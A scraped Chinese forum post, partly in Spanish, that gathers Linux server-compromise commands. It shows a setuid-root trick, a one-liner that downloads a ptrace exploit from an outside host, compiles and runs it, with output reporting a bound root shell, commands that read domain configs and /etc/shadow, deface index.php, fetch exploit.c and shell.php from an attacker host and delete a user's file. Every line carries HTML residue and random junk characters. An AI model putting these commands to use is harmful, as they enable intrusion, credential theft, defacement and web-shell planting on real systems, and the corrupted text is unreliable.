- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< ><FONT color=#ff0000>by:cnbird</FONT></P>1 N& @6 i4 t( V
< >1.</P>' l" B6 K1 }: i/ P( ~- {
< >[cnbird@localhost tmp]#id</P>
* V. ^* j# F3 |2 W5 R7 g+ u$ w< >uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
! l4 m3 W; K( h8 R3 S' Q! k1 q< >[cnbird@localhost tmp]#cp `which id ` .</P>2 [( _3 \; Q/ z7 e
< >[cnbird@localhost tmp]#chown root ./id</P>! e( o+ t% l9 {0 Y- K6 d
< >[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>5 t2 y8 t( g# Y9 a E7 A
< >[cnbird@localhost tmp]#ls -l ./id</P>$ E! Y6 H% j" @
< >-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>6 a. s; O* @3 d2 e* z# n4 i- R
< >[cnbird@localhost tmp]#exit</P>/ t+ `+ f% J% H- ~' y
< >[cnbird@localhost tmp]$id</P>* J5 ~# Q" q! o0 R& s5 d9 x
< >uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
" K/ Q* ^; Q7 |- `! z/ h< >[cnbird@localhost tmp]$./id </P>
2 S, Y0 ^. R2 i& e< >uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
" k+ U7 d0 c( o3 l7 v< >2.利用ptrace成为root的方法</P>
# f. ~! J9 {0 Y0 q9 R r, G# q$ m< >[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
% K0 G3 p$ A9 v p7 y4 o4 \-> Parent's PID is 2313. Child's PID is 2314.! ~& j& _# M5 D5 `' c6 M3 q( V
-> Attaching to 2315...
' H" `4 X+ M9 A1 D5 j1 P-> Got the thread!!
5 U9 ]. ^; R a0 B-> Waiting for the next signal...
# F& C+ `: i; J4 }- y: q-> Injecting shellcode at 0x4000e85d
: F& Y/ T- N( r% `-> Bind root shell on port 24876... =p. Z- u% h u6 ~4 J
-> Detached from modprobe thread.! y" C8 N/ G7 T' g) e/ ]: B: d" [. B
-> Committing suicide.....</P>
8 ]& V7 D& I+ A/ @" [1 t Y< >[bash]# id
/ R; J9 g7 P# Guid=0(root) gid=0(root) groups=0(root)</P>
& k) _7 D* a' s& B9 M< > ara ver los dominios que hay en el server:
+ d. T j- R$ A---------------------------------------------------------! ]8 y$ u) `1 U l
cat /etc/httpd/conf/httpd.conf|grep ServerName << Solo salen los dominios
" B+ ?; x n$ l) j2 p! Kcat /etc/httpd/conf/httpd.conf << Unicamente los puros dominios
8 @% ?) x2 U* B; u# I0 @cat /etc/localdomains << Unicamente los dominios locales
5 `- C* A; J% R6 h2 u) F6 X! r( xcat /etc/trueuserdomains << Revela los verdades propietarios de cada dominio
" u9 D3 d" U% ?9 }( gcat /etc/userdomains << Este es el mas comun
6 h1 m! _; u6 s; D6 q5 h7 S---------------------------------------------------------</P>
3 G4 K; R* q1 H! i1 B< > ara ver la version de kernel:6 O( h8 J' J# u' L3 I: A0 j+ q
---------------------------------------------------------6 z, o' P3 T8 `+ Y2 M
uname -a <<Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
' f! o' \$ u9 L, m---------------------------------------------------------</P>/ x; {2 d6 z W* K }# E- [1 g
< > ara modificar un index ya existente:) d6 s' u4 D5 B( m W+ ^" R
---------------------------------------------------------
' F/ r$ C1 M9 v9 Q, [6 Pecho "RootBox was OwNz You">index.php <<sobreescribe el archivo index.php con nuevo contenido
: ?* D) G( {1 P0 K# ^---------------------------------------------------------</P>$ m" L$ c+ S) D- `7 x8 y
< > ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:' X& Q# [6 Q& a' D Z
---------------------------------------------------------
: B7 b+ m1 Q# ?- `" A" G. jcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> <<aqui subimos el exploit
- U; o) F/ b8 D# u" X! ^" `3 @cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
. ^) p0 S v: Vcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
! l/ k; Z( E# D8 W; q& \& Acd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
9 R0 g j# a. hHasta aqui termina el proceso para un exploit.
3 b+ u9 v; N1 V4 @5 j---------------------------------------------------------</P>3 _# w5 s5 @6 C+ @1 N n- g4 m( V) W
< >Ver las contraseñas encriptadas de todos los usuarios:
' f5 o8 }$ c/ O4 P. K0 M6 B2 t---------------------------------------------------------
, ]& D: s- w. V7 |3 x) A& k9 zcat /etc/shadow <<Solo funciona si tienes permisos como root.3 X+ q! J* h' t( N& ]' V
---------------------------------------------------------</P>7 h* j& W2 L# a9 V5 x
< >Borrar un Ficher
' J$ |8 u6 d9 B# r& A& j---------------------------------------------------------: f s( T2 Y2 w% B% ]
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm<<aqui estan borrando con el comando rm, el fichero import.htm8 k' a( p4 @- h0 f( n# I& y2 x' ^+ m5 `
---------------------------------------------------------</P>; F7 _6 U- a' I. p$ }8 E; s( }( h
< >Subir un ficher% a7 x# E4 j! o; ?* G! m$ M
---------------------------------------------------------
3 w1 \2 r; \& F$ M. t2 hcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php<<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php<<Estamos</FONT></A> subiendo el fichero shell.php</P># A, T9 F, _' r% O; s# j9 Z3 g
< >
( Y' S: T% H% Y' O& J<CENTER></CENTER> |
zan
|